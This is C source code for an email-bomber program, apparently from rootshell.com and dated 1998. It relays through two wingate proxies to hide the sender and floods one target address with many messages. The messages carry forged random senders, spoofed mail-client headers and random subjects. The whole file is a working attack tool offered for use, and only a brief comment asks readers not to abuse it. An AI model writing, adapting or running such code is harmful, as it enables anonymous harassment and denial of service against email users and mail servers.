
/* http://www.rootshell.com/ */

/* Email bomber program - uses 2 wingates to hide true identity */
/* 02.09.98 */

#define	DEBUG

#define R_MAX 		10
#define PIL 		120	
#define WSEC 		10
#define USEC 		0
#define AIL 		1400
#define RECHECK 	25

/*----------------------------------------------------------------------*/

#include <stdio.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <ctype.h>
#include <errno.h>
#include <sys/time.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/*-------------------------------------------------------------*/

void            parse(char *), strip(char *), send_email(char *, char *);
void            parse_lusers(char *, char *), parse_ping(char *, char *);
int             get_connection(char *, int), readln(), writeln(char *);
void            set_fds(), sig_segv(), send_page (int);
void            stripline(char *), sig_alrm(), end_program(char *, char *);
void            parse_server_msg(fd_set * read_fds);
void            trailing_blanks(char *);
char            L[524], EMAIL[520], MAILSERVER[520], *random_user(), *random_host();
void		connect_to_wgate(char *), next_email(char *, char *);
void 		too_many(char *, char *), connect_to_mailserver();
char		*make_random_email(), *random_subject(), *random_mailer();
int             socketfd, alarmed, pingtime, S(char *,...);
long		NUM_SERV, Q = 0, W = 0, Y = 0;

struct {
	char           *name;
	void            (*function) (char *, char *);
}               parse_command[] = {

	{"Too", 	too_many	},
	{"220",		send_email	},
	{"221",		end_program	},
	{"421", 	end_program	},
	{"550",		end_program	},
	{"Connection",  end_program	},
	{NULL, 		NULL		}
};

char
*make_random_email()
{
	int             i = 0;
	char	emailaddy[300];

	sprintf(emailaddy, "%s@%s", random_user(), random_host());
	i = (int) (5.0 * rand() / RAND_MAX);
	switch (i) {
	case 1: return emailaddy;
	case 2: return EMAIL;
	case 3: return emailaddy;
	case 4: return emailaddy;
	case 5: return emailaddy;
	default: return EMAIL;
	}
}

char
*random_user()
{
	int	i = 0;
	i = (int) (10.0 * rand() / RAND_MAX);
	switch (i) {
	case 1:	return "Friend";
	case 2: return "abuse";
	case 3:	return "help";
	case 4:	return "userid";
	case 5:	return "john";
	case 6:	return "8739971";
	case 7:	return "hello";
	case 8:	return "info";
	case 9: return "assmaster";
	case 10: return "god";
	default: return "Friends";
	}
}

int
*random_host()
{
	int	i = 0;
	i = (int) (15.0 * rand() / RAND_MAX);
	switch (i) {
	/* rootshell note: Due to ISP complaints, domains have been removed.
	                   Please do not abuse this program.
	 */
	case 1: return "";
	case 2: return "";
	case 3: return "";
	case 4: return "";
	case 5: return "";
	case 6: return "";
	case 7: return "";
	case 8: return "";
	case 9: return "";
	case 10: return "";
	case 11: return "";
	case 12: return "";
	case 13: return "";
	case 14: return "";
	case 15: return "";
	default: return "";
	}
}

void
send_email(char *who, char *rest)
{
  int b[255], *tmp;
  int i = 0;

  printf("Connected to mailserver: %s\n",
	who);

  S ("helo %s\n", who);

  while (W < Q)
    {
      W++;
      Y++;
      if (Y > 9) {
	  Y = 0;
	  printf ("sent .. %ld emails...\n", W);
      }

      sleep(2);

      S ("MAIL from: %s\n", make_random_email());
      S ("RCPT to: %s NOTIFY=SUCCESS\n", EMAIL);
      S ("data\n");
      S ("Subject: %s\n", random_subject());
      S ("X-Mailer: %s\n", random_mailer());
      S ("%s\n", make_random_email());
      S (".\n");
  }

  S ("quit\n");


}

char
*random_mailer()
{
	int	i = 0;
	i = (int) (10.0 * rand() / RAND_MAX);
	switch (i) {
	case 1:
		return "Pegasus Mail for Win32 (v2.54)";
	case 2:
		return "Morph's mass mailer 3.3";
	case 3:
		return "Mozilla 4.04 [en] (Win95; I)";
	case 4:
		return "Claris Emailer 4.0";
	case 5:
		return "QUALCOMM Windows Eudora Pro Version 4.0 Demo";
	case 6:
		return "QUALCOMM Windows Eudora Pro Version 3.0.3 (32)";
	case 7:
		return "Mozilla 4.04 [en] (WinNT; I)";
	case 8:
		return "ELM [version 2.4ME+ PL31H (25)]";
	case 9:
		return "ELM [version 2.4 PL21]";
	case 10:
		return "QUALCOMM Windows Eudora Light Version 3.0.3 (32)";
	default:
		return "Morph's mass mailer 3.3";
	}
}

char
*random_subject()
{
	int	i = 0;
	i = (int) (15.0 * rand() / RAND_MAX);

	switch(i) {
	case 1:
		return "Help stop spam mail!";
	case 2: return "We don't want more lawyers.";
	case 3: return "Re: case study...";
	case 4: return "My mistake!";
	case 5: return "2 out of 5 dentists choose whipsi clean!";
	case 6: return "Time is a plaything for children and fools.";
	case 7: return "Love's as good as soma!";
	case 8: return "ABUSE";
	case 9: return "Re: abuse";
	case 10: return "family.";
	case 11: return "I need someone real bad. Are you real bad?";
	case 12: return "the Just's umbrella.";
	case 13: return "I need ...";
	case 14: return "Coitus ergo sum.";
	case 15: return "Re: HELLO>?!?!";
	default:
		return "Re: your mail";
	}

}

void
end_program(char *who, char *rest)
{
	printf("Emails delivered.  Program terminating.\n");
	sleep(1);
	exit(0);
}

main(int argc, char **argv)
{
	struct timeval  timeout;
	fd_set          fdvar;

	srand(time(NULL));
	pingtime = time(NULL);
	signal(SIGSEGV, sig_segv);

  if (argv[1] == NULL || argv[2] == NULL || argv[3] == NULL || argv[4] == NULL || argv[5] == NULL)
    {
      printf ("\n\n------------------------------------------------------\n");
      printf ("Syntax: %s <mailserver> <# of emails> <emailaddy> <wingate1> <wingate2>\n",
	      argv[0]);
      printf ("Example: %s mail.netcom.net 100 somelamer@aol.com 24.0.135.31 24.0.138.81\n",
	      argv[0]);
      printf ("------------------------------------------------------\n\n");
      exit (0);
    }


	strcpy(MAILSERVER, argv[1]);
	Q = atoi(argv[2]); 		/* # of emails */
	strcpy(EMAIL, argv[3]);

	printf("Connecting to %s...\n", argv[4]);

	socketfd = get_connection(argv[4], 23);
	if (socketfd == -1)
		exit(0);

	printf("..connected!\n");

	connect_to_wgate (argv[5]);

	while (1) {
		timeout.tv_sec = WSEC;
		timeout.tv_usec = USEC;
		FD_ZERO(&fdvar);
		FD_SET(socketfd, &fdvar);
		switch (select(NFDBITS, &fdvar, (fd_set *) 0, (fd_set *) 0, &timeout)) {
		case 0:
			break;
		case -1:
			if (!alarmed) {
				sleep(RECHECK);
				sig_alrm();
			}
			else
				alarmed = 0;
			break;
		default:
			parse_server_msg(&fdvar);
			break;
		}
	}
}

void
connect_to_wgate(char *wgate)
{
	S("%s 23\n", wgate);
	connect_to_mailserver();
}

void
connect_to_mailserver()
{
	S ("%s 25\n", MAILSERVER);
	sleep(1);
}

void
too_many(char *who, char *rest)
{
	printf("Too %s\n", who);
	exit(0);
}

void
parse_server_msg(fd_set * read_fds)
{
	if (FD_ISSET(socketfd, read_fds))
		if (readln() > 0) {
			parse(L);
		}
		else
			close(socketfd);
}

void
sig_alrm()
{
	int             i;

	alarmed = 1;
	alarm(AIL);
	if ((time(NULL) - pingtime) > PIL) {
		printf("hmmm, retrying...\n");
	}
}

void
sig_segv()
{
#ifdef  DEBUG
	printf("ERROR! Aborting program.\n");
#endif
	exit(0);
}

int
get_connection(char *hostname, int port)
{
	struct sockaddr_in sa;
	struct hostent *hp;
	int             sckfd;

	if ((hp = gethostbyname(hostname)) == NULL) {
		errno = ECONNREFUSED;
		return (-1);
	}
	bzero(&sa, sizeof(sa));
	bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length);
	sa.sin_family = hp->h_addrtype;
	sa.sin_port = htons((u_short) port);
	if ((sckfd = socket(hp->h_addrtype, SOCK_STREAM, 0)) < 0)
		return (-1);
	setsockopt(sckfd, SOL_SOCKET, SO_LINGER, 0, 0);
	setsockopt(sckfd, SOL_SOCKET, SO_REUSEADDR, 0, 0);
	setsockopt(sckfd, SOL_SOCKET, SO_KEEPALIVE, 0, 0);
	if (connect(sckfd, (struct sockaddr *) & sa, sizeof(sa)) < 0) {
		close(sckfd);
		return (-1);
	}
	return (sckfd);
}

int
readln()
{
	char            ch;
	int             i = 0;

	do {
		if (read(socketfd, &ch, 1) < 1)
			return (0);
		if (ch >= 32 || ch <= 126)
			if (i < 524 - 1)
				L[i++] = ch;
	} while (ch != '\n');
	L[i] = '\0';
	return 1;
}

int
writeln(char *b)
{
	if (write(socketfd, b, strlen(b)) < 0)
		return (0);
	return 1;
}

int
S(char *format,...)
{
	va_list         arglist;
	char            b[9024];

	va_start(arglist, format);

	vsprintf(b, format, arglist);
	va_end(arglist);

#ifdef  T_DEBUG     
        printf("OUT: %s\n", b);
#endif

	return (writeln(b));
}

void
trailing_blanks(char *str)
{
	int             i;

	for (i = strlen(str); i > 0; i--) {
		if (isspace(str[i - 1]))
			str[i - 1] = '\0';
		else
			return;
	}
}

void
stripline(char *string)
{
	char           *ptr;

	if (ptr = strchr(string, '\n'))
		*ptr = '\0';
	if (ptr = strchr(string, '\r'))
		*ptr = '\0';
}

void
parse(char *line)
{
	int             i = 0;
	char           *cmd, *rest, *who;

	stripline(line);	/* get those \r and \n out of the way */

#ifdef  DEBUG
        printf("IN : %s\n", L);
#endif

	if (*line == ':') {
		line++;		/* get rid of the ':' */
		if (cmd = strchr(line, ' '))
			*cmd++ = '\0';	/* the command */
		who = line;	/* who sent the message? */
		if (rest = strchr(cmd, ' '))
			*rest++ = '\0';
	}
	else {
		if (who = strchr(line, ' '))
			*who++ = '\0';
		cmd = line;
		rest = NULL;
	}
	for (i = 0; parse_command[i].name; i++) {
		if (!strcmp(cmd, parse_command[i].name)) {
			parse_command[i].function(who, rest);
			return;
		}
	}
}


